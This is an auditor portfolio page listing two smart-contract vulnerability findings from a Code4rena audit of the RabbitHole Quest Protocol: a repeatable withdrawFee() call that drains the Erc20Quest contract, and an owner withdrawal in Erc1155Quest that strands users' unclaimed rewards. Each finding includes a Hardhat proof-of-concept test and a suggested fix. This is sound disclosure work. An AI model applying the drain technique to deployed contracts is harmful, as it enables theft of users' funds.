RabbitHole Quest Protocol contest - holme's results

A protocol to distribute token rewards for completing on-chain tasks.

General Information

Platform: Code4rena

Start Date: 25/01/2023

Pot Size: $36,500 USDC

Total HM: 11

Participants: 173

Period: 5 days

Judge: kirk-baird

Total Solo HM: 1

Id: 208

League: ETH

RabbitHole

Findings Distribution

Researcher Performance

Rank: 145/173

Findings: 2

Award: $7.80

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102-L104

Vulnerability details

Impact

The withdrawFee() function in the Erc20Quest contract can be called multiple times. The modifier onlyAdminWithdrawAfterEnd is applied to the function which only makes it possible to call it after the end time of a quest. It should be noted that any user is allowed to call functions using the modifier onlyAdminWithdrawAfterEnd. Users should be able to redeem their receipts and claim their rewards even after the end time. A malicious user can call the withdrawFee() function multiple times until the funds of the contract is drained, leaving no tokens left for users to claim.

Proof of Concept

The following test can be added to quest-protocol/test/Erc20Quest.spec.ts in the withdrawFee() group (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/test/Erc20Quest.spec.ts#L351)

it('can be called multiple times by any user to drain contract', async () => {
      const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
      await deployedQuestContract.start()

      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0)

      expect(beginningContractBalance).to.equal(totalRewardsPlusFee * 100)
      await ethers.provider.send('evm_increaseTime', [100001])

      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      const protocolFee = await deployedQuestContract.protocolFee()

      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(
        protocolFee.add(rewardAmount)
      )

      //Calculate how many times withdrawFee() can be called before balance < protocolFee
      const numCalls = (await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address))
        .div(protocolFee)
        .toNumber()

      for (let i = 0; i < numCalls; i++) {
        await deployedQuestContract.connect(secondAddress).withdrawFee()
      }

      expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(protocolFee.mul(numCalls))
      await expect(deployedQuestContract.connect(firstAddress).claim()).to.be.revertedWith(
        'ERC20: transfer amount exceeds balance'
      )
      expect(await deployedQuestContract.receiptRedeemers()).to.equal(1)
      expect(protocolFee).to.equal(200) // 1 * 1000 * (2000 / 10000) = 200

      await ethers.provider.send('evm_increaseTime', [-100001])
    })

The command yarn hardhat test --grep withdrawFee can be used to run the test.

An approach to fixing this issue would be to use a bool isFeeClaimed to require that withdrawFee() can only be called once (when the fee hasn't been claimed yet). If this approach is used, it is important to concider that the calculation of nonClaimableTokens in withdrawRemainingTokens() can be incorrect if the fee has been claimed before withdrawRemainingTokens() is called. Logic can be added to only consider the fee if it hasn't been claimed yet.

#0 - c4-judge

2023-02-06T23:25:43Z

kirk-baird marked the issue as duplicate of #23

#1 - c4-judge

2023-02-14T08:54:17Z

kirk-baird marked the issue as satisfactory

Awards

7.046 USDC - $7.05

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
duplicate-528

External Links

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc1155Quest.sol#L56-L62

Vulnerability details

Impact

The withdrawRemainingTokens() function in the Erc1155Quest contract does not consider the amount of unclaimed tokens. When the owner calls the function when the quest has ended, all tokens belonging to the contract will be withdrawn. Any user who has not yet used their receipt to claim their token(s) will no longer be able to claim them since all tokens has been withdrawn by the owner, leaving their receipts useless.

Proof of Concept

The following test can be added in quest-protocol/test/Erc1155Quest.spec.ts to the claim() group (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/test/Erc1155Quest.spec.ts#L199)

it('leaves no tokens behind for users to claim', async () => {
      await deployedRabbitholeReceiptContract.mint(owner.address, questId)
      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [86400])

      const beginningContractBalance = await deployedSampleErc1155Contract.balanceOf(
        deployedQuestContract.address,
        rewardAmount
      )

      expect(beginningContractBalance.toString()).to.equal('100')

      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      await expect(deployedQuestContract.claim()).to.be.revertedWith('ERC1155: insufficient balance for transfer')

      await ethers.provider.send('evm_increaseTime', [-86400])
    })

The command yarn hardhat test --grep "leaves no tokens behind" can be used to run the test

Note that the Erc20Quest contract considers the unclaimed token amount and ensures this amount will be kept in the contract to allow users to claim their tokens even after withdrawRemainingTokens() has been called, as can be seen on lines 84-86 in Erc20Quest (https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L84-L86)

uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId; uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens; IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens);

A similiar calculation should be introduced to withdrawRemainingTokens() in the Erc1155Quest contract.

#0 - c4-judge

2023-02-06T23:36:08Z

kirk-baird marked the issue as duplicate of #42

#1 - c4-judge

2023-02-10T05:03:11Z

kirk-baird changed the severity to QA (Quality Assurance)

#2 - c4-judge

2023-02-10T05:12:14Z

This previously downgraded issue has been upgraded by kirk-baird

#3 - c4-judge

2023-02-14T09:24:04Z

kirk-baird marked the issue as satisfactory

#4 - c4-judge

2023-02-23T23:49:21Z

kirk-baird changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter